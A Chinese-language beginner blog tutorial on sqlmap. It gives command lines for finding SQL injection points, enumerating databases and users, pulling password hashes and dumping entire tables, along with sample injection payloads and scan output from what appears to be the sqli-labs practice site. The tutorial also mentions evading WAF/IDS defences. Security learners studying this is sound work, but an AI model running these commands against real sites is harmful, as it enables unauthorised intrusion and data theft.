首页 > 数据库 >SQL自动化注ru-SQLmap入门操作(一)

SQL自动化注ru-SQLmap入门操作(一)

时间:2023-12-15 14:04:09浏览次数:35  
标签:SQLmap ru http -- 数据库 SQL sqlmap id

SQL自动化注ru-SQLmap入门操作(一)_数据库

了解SQLmap

基础操作

SQLmap是一款自动化的SQL注入工具,可以用于检测和利用SQL注入漏洞。以下是SQLmap的入门操作步骤:

  1. 下载SQLmap:可以从官方网站(https://sqlmap.org/)下载最新版本的SQLmap。
  2. 打开终端:在终端中进入SQLmap所在的目录。
  3. 输入命令:使用以下命令运行SQLmap:
python sqlmap.py -u <目标URL>

其中,<目标URL>是指要测试的网站的URL地址。

  1. 运行测试:SQLmap会自动检测目标网站是否存在SQL注入漏洞,并给出测试结果。
  2. 利用漏洞:如果SQLmap检测到目标网站存在SQL注入漏洞,可以使用以下命令利用漏洞:
python sqlmap.py -u <目标URL> --dbs

这个命令将会列出目标网站的所有数据库。

  1. 获取数据:可以使用以下命令获取数据库中的数据:
python sqlmap.py -u <目标URL> -D <数据库名> -T <表名> --dump

其中,<数据库名><表名>是指要获取数据的数据库和表的名称。


功能

虽然没有官方的图形化界面,但是市面上有很多个人做的图形化插件,如果实在不熟悉命令行可以考虑换成图形化插件进行使用

SQL自动化注ru-SQLmap入门操作(一)_数据库_02

SQLMap是一个自动化的SQL注入工具,其主要功能包括:

  1. 扫描、发现并利用给定URL的SQL注入漏洞。
  2. 内置了很多绕过插件,支持的数据库是MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access、IBM DB2、SQLite、Firebird、Sybase和SAP MaxDB。
  3. 数据库指纹识别、数据库枚举、数据提取、访问目标文件系统,并在获取完全的操作权限时实行任意命令。
  4. 支持HTTP代理,可以在使用代理时进行注入测试。
  5. 支持多线程,可以同时测试多个注入点。
  6. 支持自定义HTTP头和Cookie。
  7. 支持自定义注入语句。
  8. 支持自定义注入深度和注入等级。
  9. 支持自定义报告输出格式。
  10. 提供waf、ips、ids检查和绕开,采用代理实现隐藏注入
  11. 可以导出数据库表和列,自动识别破jie哈希口令
  12. 支持脱库

使用SQLmap

SQL自动化注ru-SQLmap入门操作(一)_sql_03

软件安装

在kali Linux和Windows环境中都有,kali是自带SQLmap的


基础操作

SQL自动化注ru-SQLmap入门操作(一)_sql_04

SQLmap --v  //显示版本信息

SQLmap -h  //帮助

SQLmap -hh  //详细帮助

-level=LEVEL  //水平1-5,也不是数字越高越精准,但也不是越高越好。越高数据包发送量就越大,被发现的可能也就越大。如果怕把甲方业务搞挂了,也不要开的太大。

--risk=RISK  //风险1-3,也不是数字越高越精准,但也不是越高越好。越高数据包发送量就越大,被发现的可能也就越大。如果怕把甲方业务搞挂了,也不要开的太大。

默认扫完后会把信息存储在more /root/.sqlmap/output/192.168.199.153/log  这个目录下,这是一个隐藏文件夹


GET注入原理

SQL自动化注ru-SQLmap入门操作(一)_sql_05

SQLmap是一款自动化SQL注入工具,可以用于检测和利用Web应用程序中的SQL注入漏洞。它可以通过GET或POST请求向Web应用程序发送恶意请求,以检测是否存在SQL注入漏洞。以下是SQLmap进行GET注入的原理:

  1. SQLmap会向目标URL发送一个GET请求,同时在URL中注入恶意代码。
  2. 目标服务器接收到请求后,将恶意代码传递给后端数据库。
  3. 如果目标应用程序存在SQL注入漏洞,则数据库会执行恶意代码,并将结果返回给应用程序。
  4. SQLmap会分析返回的结果,以确定是否存在SQL注入漏洞。

以下是一个使用SQLmap进行GET注入的示例命令:

sqlmap.py -u "http://192.168.22.128/sqlmap/mysql/get_int.php?id=1" --technique=E --answers="extending=N" --batch


初级扫描方案

SQL自动化注ru-SQLmap入门操作(一)_数据库_06

探测是否存在sql注入漏洞

对于不用登录的网站,直接指定其URL


sqlmap -u "http://xxx/Less-1/?id=1"

直接扫到数据库类型为mysql数据库(输入y继续):

it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n]

我们也可以使用一个参数--batch,这个参数可以省去SQLmap询问,直接选择默认项,例如上面的扫描语句可以写成:


sqlmap -u "http://xxx/Less-1/?id=1" --batch

扫描出id部分存在boolean盲注:

GET parameter 'id' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable                
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N]

扫描完成后,sqlmap给出了一些验证漏洞的payload信息:

Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1' AND 5728=5728 AND 'IxVn'='IxVn

    Type: error-based
    Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
    Payload: id=1' AND GTID_SUBSET(CONCAT(0x716a6b7171,(SELECT (ELT(8185=8185,1))),0x716b7a6a71),8185) AND 'QMiy'='QMiy

    Type: time-based blind
    Title: MySQL >= 5.0.12 OR time-based blind (SLEEP - comment)
    Payload: id=1' OR SLEEP(5)#

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: id=-4446' UNION ALL SELECT NULL,NULL,CONCAT(0x716a6b7171,0x697148456f7242714a57456c4c6541624b4a57775163786775634c564b72556b78505a5457584d70,0x716b7a6a71)-- -

扫描结果:

[06:28:00] [INFO] the back-end DBMS is MySQL
web application technology: Nginx
back-end DBMS: MySQL >= 5.6

对于需要登录的网站,我们需要指定其cookie

我们可以用账号密码登录,然后用bp抓取其cookie填入


sqlmap -u  "http://xxx/sqli/Less-1/?id=1"   --cookie="抓取的cookie"

对于是post提交数据的URL,我们需要指定其data参数

sqlmap -u "http://xxx/sqli/Less-11/?id=1" --data="uname=admin&passwd=admin&submit=Submit"

更便捷的做法:通过抓取http数据包保存为文件

这样,我们就不用指定其他参数,这对于需要登录的网站或者post提交数据的网站很方便

如下,我们保存网站的访问数据包为data.txt文件:

SQL自动化注ru-SQLmap入门操作(一)_数据库_07

sqlmap -r data.txt -p id

可以看到,我的网站存在防CSRF公鸡,SQLmap注入失败

SQL自动化注ru-SQLmap入门操作(一)_数据库_08

查看数据库信息

查看数据库的所有用户:

sqlmap -u "http://xxx/Less-1/?id=1" --users

查看数据库所有用户名的密码

sqlmap -u "http://xxx/Less-1/?id=1" --passwords

查看数据库当前用户

sqlmap -u "http://xxx/Less-1/?id=1" --current-user

扫到当前用户信息:

current user: 'sqlilabs@localhost!'

判断当前用户是否有管理权限:

sqlmap -u "http://xxx/Less-1/?id=1" --is-dba

当前用户是不是root用户:

current user is DBA: False

列出数据库管理员角色:

sqlmap -u "http://xxx/sqli/Less-1/?id=1" --roles

查看所有的数据库:

sqlmap -u "http://xxx/sqli/Less-1/?id=1" --dbs

查看当前的数据库:

sqlmap -u "http://xxx/sqli/Less-1/?id=1" --current-db

得到当前数据库信息:

(03:25:33] [INFO] fetching current databasecurrent database: 'security'

爆出指定数据库(securty)中的所有的表:

sqlmap -u "http://xxx/sqli/Less-1/?id=1" -D security --tables

得到所有表的信息

SQL自动化注ru-SQLmap入门操作(一)_Less_09

爆出指定数据库指定表中的所有的列:

sqlmap -u "http://xxx/sqli/Less-1/?id=1" -D security -T users --columns

爆出指定数据库指定表指定列下的数据:

sqlmap -u "http://xxx/sqli/Less-1/?id=1" -D security -T users -C username --dump

爆出该网站数据库中的所有数据:

sqlmap -u "http://xxx/sqli/Less-1/?id=1" -D security -T users --dump-all #爆出数据库security中的users表中的所有数据
sqlmap -u "http://xxx/sqli/Less-1/?id=1" -D security --dump-all   #爆出数据库security中的所有数据
sqlmap -u "http://xxx/sqli/Less-1/?id=1" --dump-all  #爆出该数据库中的所有数据

举例如下:


SQL自动化注ru-SQLmap入门操作(一)_数据库_10

基本语法:

SQLmap是一款自动化SQL注入工具,可以用于检测和利用SQL注入漏洞。以下是SQLmap的基本语法:

sqlmap [options]

其中,options包括:

  • -u:指定目标URL。
  • --data:指定POST请求的数据。
  • --cookie:指定cookie。
  • --level:指定测试的等级(1-5)。
  • --risk:指定测试的风险等级(0-3)。
  • --dbs:获取所有数据库。
  • --current-db:获取当前数据库。
  • --tables:获取指定数据库中的所有表。
  • --columns:获取指定表中的所有列。
  • --dump:获取指定表中的所有数据。
  • -v:指定详细程度(0-6)。

以下是两个SQLmap的例子:

1.获取所有数据库

sqlmap -u http://www.xxxxx.com/test.php?p=2 --dbs -v 2

2.获取指定表中的所有列

sqlmap -u http://www.xxxxx.com/test.php?p=2 --columns -D mysql -T users -v 2

标签:SQLmap,ru,http,--,数据库,SQL,sqlmap,id
From: https://blog.51cto.com/zhuzhuxia/8840503

相关文章

  • FirebirdSql.Data.FirebirdClient.FbDataAdapter的bug吗
    在连接Firebird4数据库时,使用以下: FbDataAdapterda=newFbDataAdapter(sql,this.cnstring); DataTabledt=newDataTable(); da.Fill(dt); returndt;在一直的相像中,FbDataAdapter在接收到连接字符串时,会自动创建一个Connection并Open使用,用完再Close,即不需......
  • Mysql慢日志getshell
    Mysql慢日志getshellshowvariableslike'%slow%';Variable_nameValuelog_slow_queriesOFFslow_launch_time2slow_query_logOFFslow_query_log_fileC:\phpStudy\PHPTutorial\MySQL\data\WIN-374NAWYudt-slow.logsetGLOBALsl......
  • SQL注入攻击的原理以及如何防止SQL注入(简易)
    ......
  • JavaWeb - Day08 - MySQL - 多表查询、事务、索引 - Mybatis - 入门
    01.MySQL-多表查询-概述数据准备#建议:创建新的数据库createdatabasedb04;usedb04;--部门表createtabletb_dept(idintunsignedprimarykeyauto_incrementcomment'主键ID',namevarchar(10)notnulluniquecomment'部门名称',......
  • window mysql 自动按日期备份Sql脚本
    一、背景这几天数据中了病毒,服务器被黑,Mysql数据库遭比特币勒索!!!数据库有开启binlog那就还有恢复的可能。那么恭喜你可以参考这篇文章https://zhuanlan.zhihu.com/p/311435595如果没有开启,那没办法了,只能吃一堑长一智,要么数据库做同步【做新增、修改,切记删除的不要同步】,要么数......
  • Linux服务器环境安装mysql
    背景1、安装环境:kvm虚拟机2、运行环境:linux3、架构:x864、安装mysql版本:mysql-5.71、安装准备#Mysql官网https://downloads.mysql.com/archives/community/#下载安装包wget-i-chttp://dev.mysql.com/get/mysql57-community-release-el7-10.noarch.rpm2、安装m......
  • C# 加深印象之 Task.Run和new Task的区别
    publicasyncTaskTest(){vartask=AAA();Log.Info("调用AAA");awaitTask.Delay(2000);Log.Info("等待2秒任务尚未执行完毕");awaittask;//等待任务完成Log.Info("等待AAA......
  • Mysql:非全局share的、connect独立分配的内存(及相关参数)说明
     join_buffer_size:sql语句中join连接时候,其中每个表分配的buffer大小。默认256k,最小128byte,最大4G(32位os)。它最大的问题是:立即分配,而不是按需分配! sort_buffer_size:sql语句中的orderby时候,为每个orderby分配的buffer大小。默认256K,最小32K,最大4G(32位os)......
  • Mysql Order 排序的时候占用很长时间解决思路
    MySQL中的连表查询(JOIN)在进行ORDERBY排序时可能会变得很慢,尤其是当处理大量数据时。以下是一些优化策略,可以帮助减少排序操作的时间:索引优化:确保参与排序的列上有索引。如果排序的列是从JOIN的表中来的,那么在这些列上创建索引可能会提高性能。如果可能,尝试将索引的顺序与ORD......
  • Win 10 Rust Installtion in D Disk with VSCode
    (只记录了必须要内容,日后完善!)1.rust的安装与环境变量:要提前把下面两个环境变量配置好,这样是为了指定安装路径。否则会默认安装在C盘下。CARGO_HOME:D:\Soft\Language\Rust\.cargoRUSTUP_HOME:D:\Soft\Language\Rust\.rustup然后,在这个:Rust,Get-Start界面上下载rust......